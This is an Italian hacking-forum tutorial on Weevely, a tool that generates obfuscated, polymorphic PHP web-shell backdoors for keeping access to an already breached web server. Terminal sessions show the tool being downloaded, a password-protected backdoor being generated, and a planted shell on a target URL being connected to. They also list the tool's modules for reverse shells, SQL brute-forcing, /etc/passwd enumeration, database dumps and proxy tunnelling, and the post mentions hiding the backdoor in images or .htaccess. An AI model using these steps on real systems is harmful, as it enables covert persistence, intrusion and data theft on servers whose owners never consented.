Guida Conosciamo Weevely

syscall

Utente Emerald
21 Settembre 2013
683
43
581
475
Ultima modifica da un moderatore:
Salve popolo di Inforge :rulz:,

ripercorrendo le fasi descritte all'interno della mia precedente guida inerente un tool di automatizzazione per l'exploiting dell'SQL injection, quale SQLMap, che trovate qui http://www.inforge.net/community/web-hacking-guide/363903-conosciamo-sqlmap.html#post3579334, ho ritenuto opportuno proseguire l'argomento toccando altri punti visti nella breve introduzione al pentesting elencati nel paper sopralinkato.

In genere, e' "buona norma", ma sopratutto molto utile al fine di evitare di ri-attaccare il nostro sistema target, mantenere l'accesso, per poi successivamente, ovviamente, se lo riterrete opportuno, aumentarne i privilegi!

Un valido strumento per operare in tal senso, al fine appunto di evitare di ri-exploitare il sistema gia' violato, e' dato dalle backdoor.

La guida presume che abbiate una vaga idea e conoscenza di cosa siano le backdoor a livello informatico, per ulteriori informazioni vi rimando comunque a google! (https://www.google.it/#q=backdoor+informatica)

Oggi ci soffermeremo su una particolare backdoor codata in php, che ovviamente pronunceremo all'inglese "pi eic pi"... perche' fa figo :asd:, stiamo parlando di "weevely".

Con weevely sara' possibile scorrazzare all'interno del file system violato, come una sorta di console ssh, e di eseguire utili comandi che vedremo fra non molto!

Ma iniziamo subito con l'effettuare un wget della nostra backdoor, per poi successivamente estrarre ed eseguire!

Codice:
test_per_inforge@fujiko:~/tutorial_per_inforge$ wget https://github.com/epinna/Weevely/archive/v1.1.tar.gz
test_per_inforge@fujiko:~/tutorial_per_inforge$ tar xvfz v1.1.tar.gz 
test_per_inforge@fujiko:~/tutorial_per_inforge$ cd Weevely-1.1/
test_per_inforge@fujiko:~/tutorial_per_inforge/Weevely-1.1$ ls
core  LICENSE  modules  README  weevely.py
test_per_inforge@fujiko:~/tutorial_per_inforge/Weevely-1.1$ python weevely.py 
      ________                     __
     |  |  |  |----.----.-.--.----'  |--.--.
     |  |  |  | -__| -__| |  | -__|  |  |  |
     |________|____|____|___/|____|__|___  | v1.1
                                     |_____|
              Stealth tiny web shell


[+] Start ssh-like terminal session
    weevely <url> <password>


[+] Run command directly from command line
    weevely <url> <password> [ "<command> .." | :<module> .. ]  


[+] Generate PHP backdoor
    weevely generate <password> [ <path> ] ..


[+] Show credits
    weevely credits
    
[+] Show available module and backdoor generators
    weevely help


test_per_inforge@fujiko:~/tutorial_per_inforge/Weevely-1.1$

Weevely e' uno strumento particolarmente interessante in quanto ha delle note caratteristiche che lo contraddistinguono da altri prodotti simili, il codice e' completamente offuscato, e' poliformico, ovvero ogni volta che creiamo una nuova backdoor con weevely il codice sara' completamente diverso, ed infine una nota di merito va alle dimensioni, siamo nell'ordine del mezzo kbyte!

Ce anche da dire che il codice della backdoor puo' essere, al fine di offuscarlo maggiormente, inserito all'interno di altri file, come file immagini (img) o .htaccess (a tal proposito vi rimando all'uso dei generatori di weevely)

Codice:
test_per_inforge@fujiko:~/tutorial_per_inforge/Weevely-1.1$ python weevely.py help
+--------------------+------------------------------------------------------+
| generator          | description                                          |
+--------------------+------------------------------------------------------+
| :generate.htaccess | Generate backdoored .htaccess                        |
| :generate.img      | Backdoor existing image and create related .htaccess |
| :generate.php      | Generate obfuscated PHP backdoor                     |
+--------------------+------------------------------------------------------+

Ma adesso passiamo alla creazione della backdoor, e' molto semplice:

Codice:
test_per_inforge@fujiko:~/tutorial_per_inforge/Weevely-1.1$ python weevely.py generate nostra_password
[generate.php] Backdoor file 'weevely.php' created with password 'nostra_password'
test_per_inforge@fujiko:~/tutorial_per_inforge/Weevely-1.1$

Con il comando "generate" generiamo appunto la nostra backdoor, "nostra_password" sara' invece la password che utilizzeremo per connetterci alla backdoor che uploderemo all'interno del sistema violato.

Per richiamare la nostra backdoor possiamo invece utilizzare il seguente comando:

Codice:
test_per_inforge@fujiko:~/tutorial_per_inforge/Weevely-1.1$ pyton weevely.py http://appvulnerabile.ext/weevely.php nostra_password

Una volta dentro e' possibile eseguire svariati comandi, effettuare un listing di file e directory ma sopratutto, cosa che reputo fondamentare, possiamo utilizzare specifici moduli.

Vediamoli con il solito "help"!

Codice:
test_per_inforge@fujiko:~/tutorial_per_inforge/Weevely-1.1$ python weevely.py help

+----------------------+------------------------------------------------------------------------------+
| module               | description                                                                  |
+----------------------+------------------------------------------------------------------------------+
| :audit.phpconf       | Check php security configurations                                            |
| :audit.userfiles     | Guess files with wrong permissions in users home folders                     |
| :audit.systemfiles   | Find wrong system files permissions                                          |
| :audit.mapwebfiles   | Crawl and enumerate web folders files permissions                            |
| :audit.etcpasswd     | Enumerate users and /etc/passwd content                                      |
| :shell.sh            | Execute system shell command                                                 |
| :shell.php           | Execute PHP statement                                                        |
| :system.info         | Collect system informations                                                  |
| :find.perms          | Find files with write, read, execute permissions                             |
| :find.name           | Find files with matching name                                                |
| :find.suidsgid       | Find files with superuser flags                                              |
| :backdoor.reversetcp | Send reverse TCP shell                                                       |
| :backdoor.tcp        | Open a shell on TCP port                                                     |
| :bruteforce.sqlusers | Bruteforce all SQL users                                                     |
| :bruteforce.sql      | Bruteforce SQL username                                                      |
| :file.mount          | Mount remote filesystem using HTTPfs                                         |
| :file.rm             | Remove remote files and folders                                              |
| :file.upload2web     | Upload binary/ascii file into remote web folders and guess corresponding url |
| :file.ls             | List directory contents                                                      |
| :file.edit           | Edit remote file                                                             |
| :file.download       | Download binary/ascii files from the remote filesystem                       |
| :file.enum           | Enumerate remote paths                                                       |
| :file.read           | Read remote file                                                             |
| :file.upload         | Upload binary/ascii file into remote filesystem                              |
| :file.webdownload    | Download web URL to remote filesystem                                        |
| :file.touch          | Change file timestamps                                                       |
| :file.check          | Check remote files type, md5 and permission                                  |
| :sql.console         | Run SQL console or execute single queries                                    |
| :sql.dump            | Get SQL database dump                                                        |
| :net.ifaces          | Print interfaces addresses                                                   |
| :net.phpproxy        | Install remote PHP proxy                                                     |
| :net.proxy           | Install and run Proxy to tunnel traffic through target                       |
| :net.scan            | Port scan open TCP ports                                                     |
+----------------------+------------------------------------------------------------------------------+

Hint: Run ':help <module>' to print detailed usage informations.

test_per_inforge@fujiko:~/tutorial_per_inforge/Weevely-1.1$

Come si evince dal risultato dell'help, possiamo notare moduli per l'audit, atti all'analisi del server target al fine di trovare ulteriori falle ed enumerare gli utenti, il find, un modulo dedicato ad attacchi bruteforce per il server SQL, net per le operazioni sulle configurazioni di rete, che ci permettono anche di installare un proxy, ed infine file, per effettuale le solite operazioni di copia, trasferimento, modifica...!

Beh, diciamo che non e' poco, anche se e' probabile che non si avranno sufficienti permessi per utilizzare tutti i moduli.
Al fine di sfruttare tutte le potenzialita' della backdoor sara' necessario effettuare una privilege escalation a livello kernel, di cui pero' parleremo in seguito.

Come al solito, critiche e miglioramenti sono ben accetti. E' possibile trovare in rete simili informazioni anche scritte in maniera maggiormente dettagliata, ma il mio scopo, come al solito, e' quello di semplificare il piu' possibile le cose!

Per eventuali informazioni non esitate a contattarmi, vi rimando comunque al sito del progetto di weevely che mi e' servito come spunto per scrivere questa guida, troverete li elencati tutti i comandi di cui abbiamo parlato con delle spiegazioni ancor piu' dettagliate: https://github.com/epinna/Weevely/wiki/Tutorial

Saluti !